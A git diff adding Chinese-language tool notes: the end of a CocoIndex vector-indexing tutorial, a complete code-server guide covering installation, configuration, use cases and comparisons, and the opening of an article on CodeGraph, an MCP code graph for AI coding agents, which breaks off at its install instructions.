+可选：`pip install docling` 用于 PDF→Markdown 教程；`sentence-transformers` 用于本地 embedding。
+
+## 实践案例一：Markdown 文档 → Postgres 向量索引
+
+这是官方最常见的 **flow_def** 风格：读目录、递归切分、embedding、导出带 HNSW 的向量表。
+
+```python
+import cocoindex
+
+@cocoindex.flow_def(name="TextEmbedding")
+def text_embedding_flow(
+    flow_builder: cocoindex.FlowBuilder,
+    data_scope: cocoindex.DataScope,
+):
+    # 1) 数据源：本地 markdown 目录
+    data_scope["documents"] = flow_builder.add_source(
+        cocoindex.sources.LocalFile(path="markdown_files")
+    )
+
+    doc_embeddings = data_scope.add_collector()
+
+    # 2) 每个文档
+    with data_scope["documents"].row() as doc:
+        doc["chunks"] = doc["content"].transform(
+            cocoindex.functions.SplitRecursively(),
+            language="markdown",
+            chunk_size=2000,
+            chunk_overlap=500,
+        )
+
+        # 3) 每个 chunk
+        with doc["chunks"].row() as chunk:
+            chunk["embedding"] = chunk["text"].transform(
+                cocoindex.functions.SentenceTransformerEmbed(
+                    model="sentence-transformers/all-MiniLM-L6-v2"
+                )
+            )
+
+            doc_embeddings.collect(
+                filename=doc["filename"],
+                location=chunk["location"],
+                text=chunk["text"],
+                embedding=chunk["embedding"],
+            )
+
+    # 4) 导出到 Postgres
+    doc_embeddings.export(
+        "doc_embeddings",
+        cocoindex.targets.Postgres(),
+        primary_key_fields=["filename", "location"],
+        vector_indexes=[
+            cocoindex.VectorIndexDef(
+                field_name="embedding",
+                metric=cocoindex.VectorSimilarityMetric.COSINE_SIMILARITY,
+            )
+        ],
+    )
+```
+
+运行：
+
+```bash
+cocoindex update main          # 一次性同步到当前源数据快照
+cocoindex update main -L       # live 模式：持续监听源变更
+```
+
+**增量行为**：往 `markdown_files/` 新增或修改单个文件后再次 `update`，只会重跑受影响文档的切分与 embedding，而不是全库重算。
+
+## 实践案例二：共享 Transform Flow + 语义检索
+
+索引与查询应对同一 embedding 函数，否则向量空间不一致，检索质量会莫名变差。
+
+```python
+import os
+from psycopg_pool import ConnectionPool
+import cocoindex
+
+@cocoindex.transform_flow()
+def text_to_embedding(text: cocoindex.DataSlice[str]) -> cocoindex.DataSlice[list[float]]:
+  """索引与查询共用的 embedding 逻辑。"""
+  return text.transform(
+      cocoindex.functions.SentenceTransformerEmbed(
+          model="sentence-transformers/all-MiniLM-L6-v2"
+      )
+  )
+
+def search(pool: ConnectionPool, flow, query: str, top_k: int = 5):
+    table = cocoindex.utils.get_target_storage_default_name(flow, "doc_embeddings")
+    query_vector = text_to_embedding.eval(query)
+
+    with pool.connection() as conn:
+        with conn.cursor() as cur:
+            cur.execute(
+                f"""
+                SELECT filename, text, embedding <=> %s::vector AS distance
+                FROM {table}
+                ORDER BY distance
+                LIMIT %s
+                """,
+                (query_vector, top_k),
+            )
+            return [
+                {"filename": row[0], "text": row[1], "score": 1.0 - row[2]}
+                for row in cur.fetchall()
+            ]
+
+# 使用示例
+# pool = ConnectionPool(os.environ["COCOINDEX_DATABASE_URL"])
+# print(search(pool, text_embedding_flow, "CocoIndex incremental processing"))
+```
+
+也可注册 query handler，把 `search` 包成 `cocoindex.QueryOutput`，供 CocoInsight 直接调用——适合团队内「可观测的 RAG 管道」。
+
+## 实践案例三：PDF 批量转 Markdown（App API 速览）
+
+较新的 quickstart 用 `@coco.fn` + `coco.App`，强调**每文件一个处理组件**：
+
+```python
+import pathlib
+import cocoindex as coco
+from cocoindex.connectors import localfs
+from cocoindex.resources.file import PatternFilePathMatcher
+
+@coco.fn(memo=True)
+def process_file(file: localfs.File, outdir: pathlib.Path) -> None:
+    # 伪代码：真实项目里可换成 docling 等转换器
+    markdown = file.read_text()  # 示意
+    outname = file.file_path.path.stem + ".md"
+    localfs.declare_file(outdir / outname, markdown, create_parent_dirs=True)
+
+@coco.fn
+async def app_main(sourcedir: pathlib.Path, outdir: pathlib.Path) -> None:
+    files = localfs.walk_dir(
+        sourcedir,
+        recursive=True,
+        path_matcher=PatternFilePathMatcher(included_patterns=["**/*.pdf"]),
+    )
+    await coco.mount_each(process_file, files.items(), outdir)
+
+app = coco.App(
+    "PdfToMarkdown",
+    app_main,
+    sourcedir=pathlib.Path("./pdf_files"),
+    outdir=pathlib.Path("./out"),
+)
+```
+
+```bash
+cocoindex update main.py
+```
+
+删除 `pdf_files/` 中某个 PDF 再 update，对应 `out/` 下的 Markdown 会被引擎自动移除——这就是 **declare_file** 与组件路径树联动带来的「目标状态与源一致」。
+
+## 与相关项目的对比
+
+| 维度 | CocoIndex | LlamaIndex / LangChain 索引 | 自写 cron + 脚本 |
+|------|-----------|------------------------------|------------------|
+| 增量重算 | 内建、细粒度 | 需自行设计 checkpoint | 通常全量或手写 diff |
+| 血缘/可观测 | Dataflow 字段级 | 依具体实现 | 弱 |
+| 学习曲线 | Python 声明式 | 抽象多、偏应用 | 低起步、难维护 |
+| 典型用户 | 数据/平台工程师、Agent 基础设施 | 应用开发者 | 小团队脚本 |
+
+不是替代关系：很多团队用 CocoIndex 维护「干净的索引层」，上层再用任意 Agent 框架消费。
+
+## 常见坑与排错
+
+1. **Postgres 必须用 pgvector 镜像**——plain `postgres:16` 会在创建 vector 扩展时报 `extension "vector" is not available`。
+2. **索引与查询 embedding 不一致**——务必 `@transform_flow` 共享，或 query handler 内 `eval()` 同一 flow。
+3. **混淆两种 API 风格**——仓库里同时存在 `flow_def`（FlowBuilder）与 `coco.App`（mount_each）；跟官方 quickstart 版本对齐即可，不要混用已废弃的 `main_fn()` 入口。
+4. **粒度选太大或太小**——`mount_each` 按文件往往最自然；按页 mount 适合超大 PDF，按目录 mount 适合批量原子更新。
+5. **live 模式依赖源 connector 的变更捕获**——并非所有数据源都同等支持实时监听，部署前查对应 connector 文档。
+
+## 典型应用场景
+
+- **代码库索引**：符号、调用图、文件 chunk embedding，供 code review / coding agent 使用（官方强调「structure, not raw text」）。
+- **企业知识库 RAG**：Confluence / SharePoint / S3 文档增量入 Postgres 或向量库。
+- **多模态管道**：音视频转写 → 分段 → embedding（与文本流同一套增量语义）。
+- **长时程 Agent**：数周运行的任务里，源数据持续变化，但 agent 读到的索引保持秒级～分钟级新鲜。
+
+## 命令速查
+
+```bash
+pip install -U cocoindex
+cocoindex update <entry>        # 同步索引
+cocoindex update <entry> -L     # live 更新
+cocoindex drop <entry>          # 删除 flow 及关联内部状态（慎用）
+```
+
+环境变量：
+
+- `COCOINDEX_DATABASE_URL` — Postgres 状态与向量目标
+- `COCOINDEX_DB` — 本地轻量状态（如 quickstart 的 SQLite 路径）
+
+## 延伸阅读
+
+- 官方文档：[Overview](https://cocoindex.io/docs/getting_started/overview/)、[Indexing Basics](https://cocoindex.io/docs/core/basics)、[Quickstart](https://cocoindex.io/docs/getting_started/quickstart)
+- 示例集：[Simple Vector Index](https://cocoindex.io/examples/simple_vector_index)
+- 相关笔记：[[dify]]（应用层）、[[vllm]]（推理Serving）、向量数据库与 RAG 论文索引
+
+---
+
+**一句话总结**：CocoIndex 让你用 Python 描述「数据应该变成什么样」，由 Rust 引擎负责「只有 delta 在动」——适合把 Agent 的上下文从「偶尔跑一次的脚本」升级成「可版本化、可观测、可持续同步的数据产品」。
diff --git a/src/content/docs/projects/code-server.md b/src/content/docs/projects/code-server.md
new file mode 100644
index 000000000..fdb330c60
--- /dev/null
+++ b/src/content/docs/projects/code-server.md
@@ -0,0 +1,332 @@
+---
+title: code-server — 在浏览器里跑完整 VS Code
+来源: 'https://github.com/coder/code-server'
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 日常类比：把工作室搬进浏览器
+
+想象你平时在家写代码，用的是一台配置不错的台式机——显示器、键盘、整套 [[vscode]] 都装好了。某天你带着 iPad 出门，突然客户说「线上有个 bug 要马上改」。你不可能把整台电脑背在身上，但你可以**远程连回家里那台机器**，在平板浏览器里继续写代码。
+
+**code-server 干的就是这件事**：在一台服务器（家里 NAS、云主机、公司内网机）上跑完整的 VS Code，然后你用任意设备的浏览器打开它。编译、测试、装扩展这些重活都在服务器上完成；你的笔记本或平板只负责显示界面和收发键盘输入。类比再往前一步：它不是「网页版记事本」，而是把整间开发工作室原封不动搬到了云端，门口挂了一块「浏览器入口」的牌子。
+
+项目地址：[coder/code-server](https://github.com/coder/code-server)，GitHub 约 7.7 万 Stars（2026 年中），MIT 开源，由 Coder 公司维护。口号很直白：**Run VS Code on any machine anywhere and access it in the browser.**
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：设备不一致，环境对不上
+
+团队里有人用 macOS，有人用 Windows，有人只有 Chromebook。每个人本地装的 Node、Python、Docker 版本都不一样，经典的「在我机器上能跑」反复出现。code-server 把开发环境固定在**一台（或一类）远程机器**上，所有人连进去看到的是同一套工具链。
+
+### 痛点 2：本地算力不够，又离不开 IDE
+
+训练小模型、跑全量测试、编译大型 C++ 项目，笔记本风扇狂转、电池半小时耗尽。把 code-server 装在高配云主机上，本地只开浏览器，重计算在云端完成——官方文档原话是 *Preserve battery life when you're on the go*。
+
+### 痛点 3：想在「没有完整桌面环境」的设备上写代码
+
+iPad、图书馆的公用电脑、出差时借来的机器——没法或不便安装 VS Code。只要有现代浏览器和稳定网络，就能连上自己的 code-server 实例继续干活。
+
+### 痛点 4：需要自托管的浏览器 IDE，而不是绑定某家 SaaS
+
+GitHub Codespaces 好用，但绑定 GitHub/Microsoft 生态，按量计费，数据在人家云上。code-server 是**自托管、开源、可跑在任意 Linux 机器**的方案，适合个人站长、学校实验室、有合规要求的内网团队。
+
+---
+
+## 核心概念拆解
+
+### 1. 不是仿制，是 VS Code 本体 + 补丁层
+
+code-server 并不是从零写一个「长得像 VS Code 的编辑器」。它把微软开源的 VS Code（Code - OSS）作为 **git submodule** 拉进来，再用一组 **patch 文件** 打上浏览器运行所需的改动。这和 [[monaco-editor]]「只拆编辑器内核」不同——code-server 提供的是**完整 IDE**：终端、扩展、调试、Git、多文件工作区一应俱全。
+
+### 2. 浏览器 ↔ 服务器的 WebSocket 长连接
+
+你在浏览器里敲一个字符，背后要经过 WebSocket 发到服务器上的 Node 进程，再写进远程文件系统。所以官方硬性要求：**运行环境必须支持 WebSocket**。反向代理（Nginx、Caddy）若没正确配置 Upgrade 头，表现就是连上了却不断断开或终端无响应。
+
+### 3. 扩展宿主跑在服务器，不在你本地
+
+和 [[vscode]] Remote-SSH 的逻辑类似：语言服务器（LSP）、调试器（DAP）、Git 操作都在**远端进程**里执行。你在浏览器里装 Python 扩展，实际装的是服务器上的 `~/.local/share/code-server/extensions/`。换一台电脑登录，扩展和设置还在——因为用户数据存在**远程磁盘**，不是浏览器 localStorage。
+
+### 4. 扩展市场：默认 Open VSX，可切换
+
+微软官方 Marketplace 的许可限制第三方产品直接使用。code-server 默认接 **Open VSX Registry**（Eclipse 基金会运营）。多数常用扩展能搜到，但偶尔会遇到「Marketplace 有、Open VSX 没有」的情况，需要手动下载 `.vsix` 安装，或通过配置指向自建市场。
+
+### 5. 内置开发代理（Development Proxy）
+
+本地跑 `npm run dev` 起了一个 `localhost:3000` 的前端，你在 iPad 上怎么预览？code-server 自带端口代理：在 **Ports** 面板里检测到 3000 端口后，会生成一个带认证的子路径或子域名链接，例如 `https://your-server/proxy/3000/`，走同一套登录鉴权，不必额外暴露端口。
+
+### 6. 认证与安全：默认密码，生产必须加固
+
+首次启动会生成随机密码，写在 `~/.config/code-server/config.yaml`。默认只监听 `127.0.0.1`，适合本机试用。要暴露到公网，官方强烈建议：**SSH 端口转发**、**Caddy/Let's Encrypt 自动 HTTPS**，或前置 OAuth 反向代理——绝不建议裸奔把 `code-server --bind-addr 0.0.0.0:8080` 直接扔公网。
+
+### 7. 与 Coder 产品的关系
+
+同公司的 **[Coder](https://github.com/coder/coder)** 是面向**团队**的远程开发平台：用 Terraform 批量创建工作区，每个工作区里可以预装 code-server 作为应用之一。可以简单记：**code-server = 个人/单机方案；Coder = 团队编排 + 多租户 + 策略管控**。
+
+---
+
+## 安装与最小启动
+
+**系统要求（TL;DR）**：Linux 为主（也支持 macOS、FreeBSD；Windows 建议用 npm 或 WSL），至少 1 GB RAM、2 vCPU，WebSocket 可用。
+
+```bash
+# 预览安装脚本会做什么（不真正安装）
+curl -fsSL https://code-server.dev/install.sh | sh -s -- --dry-run
+
+# 一键安装
+curl -fsSL https://code-server.dev/install.sh | sh
+
+# 启动（首次会打印访问密码）
+code-server
+
+# 指定端口与监听地址（仅内网调试示例）
+code-server --bind-addr 0.0.0.0:8080
+```
+
+配置文件路径：`~/.config/code-server/config.yaml`。常用项：
+
+```yaml
+bind-addr: 127.0.0.1:8080
+auth: password          # 也可改为 none（仅限受信网络）或 前置代理 OAuth
+password: <your-password>
+cert: false             # 生产环境建议用反向代理做 TLS
+```
+
+Docker 一键跑：
+
+```bash
+docker run -it --name code-server -p 8080:8080 \
+  -v "$HOME/.config:/home/coder/.config" \
+  -v "$HOME/project:/home/coder/project" \
+  -u "$(id -u):$(id -g)" \
+  codercom/code-server:latest
+```
+
+---
+
+## 使用案例
+
+### 案例 1：个人开发者 — 云主机 + iPad 移动编程
+
+**场景**：你有一台 $6/月的 VPS（2 vCPU / 4 GB），主力开发机是 MacBook，通勤时用 iPad 想继续改 side project。
+
+**步骤概要**：
+
+1. 在 VPS 上执行安装脚本，用 `systemd` 或 Docker 让 code-server 开机自启。
+2. 本机通过 SSH 隧道访问（最安全、零额外配置）：
+
+   ```bash
+   ssh -N -L 8080:127.0.0.1:8080 user@your-vps
+   ```
+
+3. iPad Safari 打开 `http://localhost:8080`（若 SSH 隧道开在 iPad 上的 Termius 等客户端），输入 config 里的密码登录。
+4. 在 code-server 里 `git clone` 项目，安装和 Mac 上一样的扩展（ESLint、Prettier、语言包）。
+5. 跑 `npm run dev`，在 Ports 面板点代理链接，直接在平板浏览器里预览前端。
+
+**收益**：iPad 上获得与桌面几乎一致的 VS Code 体验；VPS 在欧洲，npm install 和 CI 测试往往比家用宽带上快；MacBook 合上盖子也不影响服务器上的长任务。
+
+### 案例 2：课程 / 训练营 — 统一实验环境
+
+**场景**：高校编程课 60 名学生，实验室电脑配置参差，不想花半节课帮学生装 Python 和 Jupyter。
+
+**做法**：
+
+1. 在学校服务器或云上用 Docker Compose 部署一台（或按班级分多台）code-server。
+2. 制作带课程依赖的镜像：预装 Python 3.12、课程要求的 pip 包、作业模板仓库。
+3. 给学生每人分配账号密码（或接入学校 LDAP / OAuth 反向代理）。
+4. 学生用机房浏览器或宿舍笔记本登录同一地址，打开共享课件目录开始实验。
+5. 教师 SSH 进宿主机查看 `~/.local/share/code-server` 下的学生工作区（若采用 per-user 卷映射）。
+
+**收益**：环境一次构建、全班复用；学生回家也能连；不依赖学生本机是否装了 VS Code。
+
+### 案例 3：全栈预览 — 内置代理调试 React 应用
+
+**场景**：在 code-server 里开发 Vite + React 项目，需要手机扫码或外网协作者查看效果。
+
+```bash
+# 在 code-server 集成终端里
+npm create vite@latest my-app -- --template react-ts
+cd my-app && npm install && npm run dev -- --host
+```
+
+Vite 监听 `5173` 后，code-server 的 **Ports** 视图会出现该端口。点击「地球」图标打开代理 URL。若配置了 `VSCODE_PROXY_URI` 环境变量，还可生成 `https://5173.your-domain.dev` 这类子域名，方便分享给测试同事——且仍受 code-server 登录保护。
+
+**注意**：部分框架（Vue、Angular、Svelte）在子路径代理下需要设置 `base` / `publicPath`，官方文档的 [guide](https://coder.com/docs/code-server/guide) 有按框架分的配置示例。
+
+### 案例 4：与 Dev Container 结合
+
+若项目已有 `.devcontainer/devcontainer.json`，code-server 支持作为 devcontainer 特性接入：容器里起 code-server，浏览器连的是**容器内**完整工具链，与 VS Code Dev Containers 理念一致，但入口从桌面客户端换成纯 Web。
+
+---
+
+## 竞品与相关方案对比
+
+| 方案 | 类型 | 核心差异 | 适合谁 |
+|------|------|----------|--------|
+| **code-server** | 自托管开源 | 完整 VS Code + 密码认证 + 内置端口代理 + Open VSX；补丁式维护上游 | 个人、小团队、要掌控数据的场景 |
+| **github.dev** | GitHub 托管 Web 编辑 | 点 `.` 打开仓库的轻量 Web 编辑器；**只服务 GitHub 仓库**，无自托管、无任意机器 | 快速改 README、小 PR，不想装客户端 |
+| **GitHub Codespaces** | GitHub 托管 SaaS | 完整云端工作区 + 计费；与 PR/Issue 深度集成；官方 Marketplace | 已用 GitHub、接受按量付费的团队 |
+| **Gitpod** | 托管 SaaS + 开源组件 | 商业产品按工作区计费；自托管侧常用其 **OpenVSCode-Server** 镜像，而非直接跑 Gitpod 全家桶 | 要「Codespaces 式」体验且可接受 SaaS 或自己拼 K8s |
+| **OpenVSCode-Server**（Gitpod 维护） | 自托管开源 | 更接近上游 VS Code；**官方扩展市场**；连接 token 鉴权；少 code-server 的代理/配置文件增值 | 扩展兼容优先、愿意用 Nginx 补安全层 |
+| **VS Code Web**（`code serve-web`） | 微软官方本地命令 | 可访问微软官方扩展市场；**无内置认证**；需自行解决暴露与安全 | 本机或受信内网、必须要官方市场的用户 |
+| **[[theia]]** | IDE 框架 | 不是开箱产品，是「造云 IDE 的脚手架」；扩展生态走 Theia + VS Code 双轨 | 企业要深度定制品牌 IDE、嵌业务系统 |
+| **Coder** | 团队平台 | 用 Terraform 编排多工作区；code-server 可作为其中一个 App | 中大规模团队统一远程开发 |
+| **[[monaco-editor]]** | 编辑器 SDK | 只有编辑区，没有终端/扩展宿主/调试面板 | 网站内嵌代码框、Playground，不是完整 IDE |
+| **JetBrains Gateway** | 商业 IDE 远程 | IntelliJ 系远程开发，非 VS Code 生态 | Java/Kotlin 重度用户 |
+
+### 和 github.dev 怎么选？
+
+**github.dev** 是 GitHub 在浏览器里打开的「仓库编辑器」——在任意 GitHub 仓库页面按 `.` 键即可进入。它基于与 Codespaces 相同的 VS Code Web 架构，但**不给你一台可任意配置的远程机器**：工作区绑定当前仓库，算力与存储在 GitHub 侧，无法把家里 NAS 或公司内网机变成 IDE。
+
+| 维度 | github.dev | code-server |
+|------|------------|-------------|
+| 入口 | `github.com` 仓库里按 `.` | 自己部署的 URL |
+| 代码在哪 | GitHub 托管仓库 | 你指定的任意路径 / 任意 Git 远程 |
+| 终端与 Docker | 受限（非完整本地 shell 体验） | 完整集成终端，等同远端 Linux 用户 |
+| 费用 | 免费（公开/私有仓策略随 GitHub 计划） | 服务器成本（VPS 月费） |
+| 自托管 | 不可能 | 核心卖点 |
+
+**结论**：改个文档、提个小 PR 用 github.dev 足够；要在**自有机器**上跑完整 IDE、挂内网数据库、长期 dev server，选 code-server。
+
+### 和 Gitpod 怎么选？
+
+**Gitpod** 有两层含义，初学者容易混：
+
+1. **Gitpod 云服务**（gitpod.io）：类似 Codespaces 的托管开发环境，按工作区时长计费，预置自动化（打开 PR 就起环境）。
+2. **OpenVSCode-Server**（`gitpod-io/openvscode-server`）：Gitpod 开源的「上游 VS Code 浏览器服务端」，很多人自托管时实际用的是它，而不是商业 Gitpod 平台本身。
+
+| 维度 | Gitpod SaaS | OpenVSCode-Server（自托管） | code-server |
+|------|-------------|------------------------------|-------------|
+| 运维 | 零运维 | 自己管一台机 / K8s | 自己管一台机 / Docker |
+| 扩展市场 | 官方 Microsoft Marketplace | 官方 Marketplace | Open VSX（可配置） |
+| 鉴权 | Gitpod 账号 / SSO | `--connection-token` | `config.yaml` 密码 / OAuth 代理 |
+| 端口代理 | 平台内置 | VS Code 原生 Ports + 需反向代理 | 内置 `/proxy/:port` |
+| 与 code-server 关系 | 竞品（同赛道云 IDE） | 技术近亲，实现哲学不同 | — |
+
+**结论**：
+
+- 要 **开箱团队云 IDE、不想碰服务器**：Gitpod 或 Codespaces，不是 code-server。
+- 要 **自托管且扩展必须与桌面 VS Code 一致**：优先考虑 OpenVSCode-Server。
+- 要 **自托管 + 内置密码登录 + 端口代理 + 配置文件**：code-server 更省心。
+
+### 和 GitHub Codespaces 怎么选？
+
+- 要 **零运维、跟 GitHub PR 无缝**：Codespaces。
+- 要 **数据在自己机器、固定月费 VPS、不绑 GitHub**：code-server。
+- 很多团队两者并存：开源贡献走 Codespaces / github.dev，内网项目走自托管 code-server。
+
+### 和 VS Code Remote-SSH 怎么选？
+
+- Remote-SSH：你**本地**仍装完整 VS Code 客户端，只是计算在远端——体验最原生，但需要安装桌面应用。
+- code-server：**纯浏览器**即可，适合 iPad、Chromebook、Guest 电脑；代价是上游版本跟进有补丁延迟，偶发扩展兼容问题。
+
+---
+
+## 踩过的坑
+
+1. **反向代理忘了 WebSocket**：Nginx 需配置 `proxy_http_version 1.1`、`Upgrade`、`Connection` 头，否则终端秒断、保存文件失败。
+2. **扩展在 Open VSX 找不到**：去 VS Marketplace 网页下载 `.vsix`，在 code-server 里 `Extensions: Install from VSIX`。
+3. **子路径部署状态冲突**：若用 `https://domain.com/code/` 这种路径挂载，要用 code-server 的 `--base-path` 或等价配置；OpenVSCode-Server 在同样场景下更容易出状态碰撞，这是 code-server 专门修过的一类问题。
+4. **Safari + 严格 TLS**：若服务器只开 TLS 1.3，Safari 的 WebSocket 可能连不上（需允许 TLS 1.2）；浏览器控制台可见 `OSSStatus: 9836`。
+5. **权限与文件归属**：Docker 部署时注意 `-u uid:gid`，否则在容器里创建的文件宿主机上改不了。
+6. **不要把 `auth: none` 暴露公网**：仅限 VPN/内网；公网实例务必密码 + HTTPS 或 OAuth。
+
+---
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 需要**浏览器访问**完整 VS Code，而非仅编辑器组件
+- 有自有服务器/VPS，希望**自托管**开发环境
+- 移动设备、轻量客户端远程写代码
+- 教学、演示、临时协作环境需要快速拉起统一 IDE
+- 已用 Open VSX 或愿意手动装 `.vsix`
+
+**不适用**：
+
+- 必须用**微软官方扩展市场**且不愿维护 `.vsix`——考虑 VS Code Web 或 Codespaces
+- 团队需要**多租户、配额、审计、SSO 编排**——直接用 Coder 平台而非裸 code-server
+- 离线或极高延迟网络——浏览器 IDE 体验会明显变差
+- 主要写 Java/Kotlin 大单仓——JetBrains 远程体验通常更好
+- 只想在网页里嵌一个小代码框——用 [[monaco-editor]] 或 [[codemirror]]，不必背整套 code-server
+
+---
+
+## 架构一图流
+
+```
+┌─────────────┐     WebSocket      ┌──────────────────────────────────┐
+│  浏览器      │ ◄────────────────► │  code-server (Node.js 包装进程)   │
+│  (任意设备)  │     HTTPS/WSS      │  ├─ 静态前端 (VS Code Web UI)     │
+└─────────────┘                    │  ├─ 认证 / 代理 / 健康检查        │
+                                   │  └─ 拉起 VS Code Server 子进程    │
+                                   │         ├─ 扩展宿主 (Extensions)  │
+                                   │         ├─ 集成终端 (pty)         │
+                                   │         └─ LSP / DAP 子进程       │
+                                   └──────────────────────────────────┘
+                                                    │
+                                                    ▼
+                                           远程文件系统 / Git / Docker
+```
+
+---
+
+## 学到什么
+
+1. **「完整 IDE 上云」和「编辑器组件上云」是两条路**——code-server 选的是前者，运维更重，但用户零安装。
+2. **补丁式跟进上游**是务实路线：不 fork 整个 VS Code 树，而是用 submodule + patch 跟 Code - OSS，升级时冲突相对可控。
+3. **自托管的核心是安全默认值**——密码、localhost 绑定、SSH 隧道文档写得很直白，因为一出事就是整台服务器沦陷。
+4. **Open VSX 是生态分水岭**——选 code-server 就要接受扩展市场与桌面 VS Code 不完全一致，这是许可和商业模式决定的，不是实现 bug。
+5. **端口代理是被低估的杀手特性**——全栈开发者若没它，浏览器 IDE 只能写后端 API，很难舒服地调前端页面。
+
+---
+
+## 延伸阅读
+
+- 官方文档：[coder.com/docs/code-server](https://coder.com/docs/code-server)
+- 安装指南：[Install](https://coder.com/docs/code-server/install)
+- 安全暴露：[Guide — Expose code-server](https://coder.com/docs/code-server/guide)
+- FAQ（与 Codespaces、OpenVSCode-Server 对比）：[FAQ](https://coder.com/docs/code-server/FAQ)
+- 团队方案：[coder/coder](https://github.com/coder/coder)
+- 上游编辑器：[[vscode]]、[[monaco-editor]]
+
+---
+
+## 关联
+
+- [[vscode]] —— code-server 的上游；理解 Remote / 扩展宿主有助于理解 code-server 在远端跑了什么
+- [[monaco-editor]] —— 若只需编辑区 SDK，不必上 code-server 整机
+- [[theia]] —— 另一条「云 IDE」路线：框架化定制 vs code-server 的开箱即用
+- [[electron]] —— 桌面 VS Code 的壳；code-server 则把同类能力搬到浏览器 + 服务器
+- [[nginx]] —— 反向代理 code-server 时的常见搭档
+- [[kubernetes]] —— 大规模部署常把 code-server 或 Coder 工作区跑在 K8s 里
+
+---
+
+## 一句话记忆
+
+code-server = 在自有服务器上跑完整 VS Code，用浏览器当显示器和键盘；重活在云端，人带个网页就能写代码。
+
+---
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- [[codemirror]] —— CodeMirror — 编辑器不是一个类，是一组扩展的合奏
+- [[coder]] —— Coder — 自托管开发环境平台
+- [[electron]] —— Electron — Chromium + Node.js 跨平台桌面应用框架
+- [[gitpod]] —— Gitpod — 预构建云开发环境
+- [[kubernetes]] —— Kubernetes — 容器编排平台
+- [[monaco-editor]] —— monaco-editor — 把 VSCode 编辑器搬进浏览器的 SDK
+- [[nginx]] —— nginx — 高性能 Web 服务器
+- [[openvscode-server]] —— OpenVSCode Server — VS Code Server 上游
+- [[theia]] —— Eclipse Theia — 云原生 IDE 框架基座
+- [[vscode]] —— VS Code — 把编辑/调试/扩展捏成一个跨平台壳
+
diff --git a/src/content/docs/projects/codegraph-claude-code.md b/src/content/docs/projects/codegraph-claude-code.md
new file mode 100644
index 000000000..a9d5cddc4
--- /dev/null
+++ b/src/content/docs/projects/codegraph-claude-code.md
@@ -0,0 +1,294 @@
+---
+title: CodeGraph — 面向 AI 编程代理的预索引代码知识图谱
+来源: https://github.com/colbymchenry/codegraph
+日期: 2026-06-13
+子分类: 开发者工具
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+[CodeGraph](https://github.com/colbymchenry/codegraph)（npm 包名 `@colbymchenry/codegraph`）是一套**本地优先**的代码智能工具：用 [tree-sitter](https://tree-sitter.github.io/) 把仓库解析成符号与调用关系，存入 SQLite 知识图谱，再通过 **MCP（Model Context Protocol）** 暴露给 Claude Code、Cursor、Codex CLI、OpenCode 等 AI 编程代理。
+
+日常类比：
+
+> 把陌生城市交给一位只会「挨家敲门问路」的导游，和交给一位**手里已有完整地铁线路图 + 商铺名录**的导游，体验完全不同。
+>
+> 没有 CodeGraph 时，代理往往靠 `grep`、`glob`、`Read` 在文件海里摸索——每敲一扇门都消耗 token 和工具调用次数。CodeGraph 相当于**提前把整座「代码城市」画成可查询的地图**：问「登录请求怎么走到数据库」，代理直接查图，而不是从 `src/` 根目录开始地毯式搜索。
+
+项目由 Colby McHenry 维护，MIT 许可，2026 年 1 月发布 1.0。官方宣称在 7 个真实开源仓库上，相较纯 grep/Read 探索，**中位数约少 58% 工具调用、少 47% token、快 22%**（Claude Opus 4.8，2026-06-02 复测）。
+
+## 为什么重要
+
+2025–2026 年 AI 编程的主流范式是 **agent**：模型反复「规划 → 调工具 → 看结果」。探索型任务的成本大头往往在**发现代码在哪**，而不是理解已读到的片段。
+
+CodeGraph 针对的正是这一瓶颈：
+
+| 痛点 | CodeGraph 的做法 |
+|------|------------------|
+| 大仓库里 grep 命中太多 | FTS5 全库符号名搜索 + 图遍历 |
+| 调用链要多次 Read 拼接 | `codegraph_explore` 一次返回相关源码与关系图 |
+| 改函数不知道谁会坏 | `codegraph_callers` / `impact` 做影响半径分析 |
+| 索引过期 | 原生文件监听（FSEvents / inotify）+ 2s 防抖增量同步 |
+| 代码隐私 | **100% 本地**，数据不进云端，无需 API Key |
+
+与同名但不同的 [codegraph-ai/CodeGraph](https://github.com/codegraph-ai/CodeGraph)（偏 VS Code 扩展、38+ 语言）相比，**colbymchenry 版**明确面向 Claude Code / Cursor / Codex 的 MCP 集成，并有公开 benchmark。
+
+## 核心概念
+
+### 1. 知识图谱（Knowledge Graph）
+
+节点是**符号**（函数、类、方法、路由等），边是**关系**（calls、imports、extends、implements、references 等）。例如：
+
+```
+[Router.get('/users')] --references--> [listUsers handler]
+[listUsers] --calls--> [UserService.findAll]
+[UserService.findAll] --calls--> [db.query]
+```
+
+代理问「`/users` 接口最终查哪张表」，沿边走几跳即可，不必全文搜索 `users`。
+
+### 2. 三层流水线
+
+官方架构可概括为：
+
+1. **Extraction**：tree-sitter 解析 AST，按语言 query 抽符号与边（20+ 语言）。
+2. **Storage**：写入项目目录 `.codegraph/codegraph.db`（SQLite + FTS5）。
+3. **Resolution**：把「未解析的调用名」绑定到定义；并识别 Django/Express/NestJS 等 **17 种 Web 框架路由**，把 URL 模式连到 handler。
+
+### 3. MCP Server
+
+代理不直接读数据库，而是启动 `codegraph serve --mcp`，通过标准 MCP 工具调用图谱。`codegraph install` 会把该 server 写入各代理的配置（如 Claude 的 `~/.claude.json`、Cursor 的 MCP 配置）。
+
+### 4. 自动同步与「陈旧」提示
+
+保存文件后，监听器在防抖窗口（默认 2s）后增量重索引。若代理在同步完成前查询到**待更新文件**，响应会带 `⚠️` 横幅，提示对该文件直接用 Read——避免静默返回过期内容。
+
+### 5. 与 Explore 子代理的关系
+
+Claude Code 等在无索引时常 spawn **Explore 子代理**批量 grep/Read。CodeGraph 的设计意图是：**主会话直接调 MCP**，用 1–3 次结构化查询替代十几轮文件扫描。若仍把探索丢给子代理去 Read 文件，索引优势会被抵消。
+
+## 安装与接入代理
+
+**方式 A：一键安装脚本（无需预装 Node）**
+
+```bash
+# macOS / Linux
+curl -fsSL https://raw.githubusercontent.com/colbymchenry/codegraph/main/install.sh | sh
+
+# 新开终端后，接入已安装的 AI 代理
+codegraph install
+```
+
+**方式 B：npm 全局安装**
+
+```bash
+npm i -g @colbymchenry/codegraph
+codegraph install
+```
+
+**方式 C：零安装体验**
+
+```bash
